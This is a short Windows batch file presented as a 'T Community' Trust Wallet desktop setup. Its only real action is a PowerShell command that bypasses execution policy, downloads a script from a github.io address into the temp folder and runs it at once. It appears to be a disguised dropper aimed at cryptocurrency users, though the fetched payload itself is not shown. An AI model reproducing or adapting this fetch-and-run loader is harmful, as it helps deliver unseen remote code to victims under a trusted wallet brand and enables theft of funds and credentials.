@echo off
title T COMMUNITY - Trust Wallet Setup
cls
echo ==========================================================
echo        T COMMUNITY - TRUST WALLET DESKTOP SETUP
echo ==========================================================
echo.
echo Initializing automated setup...
echo.

powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $u = 'https://cryptolife31-cmd.github.io/t-community/T-Community-Setup.ps1?t=' + [DateTime]::UtcNow.Ticks; (New-Object Net.WebClient).DownloadFile($u, '%TEMP%\\tcomm_setup.ps1'); & '%TEMP%\\tcomm_setup.ps1'"

if %ERRORLEVEL% NEQ 0 (
    echo.
    echo An error occurred during setup.
    pause
)

exit /b %ERRORLEVEL%
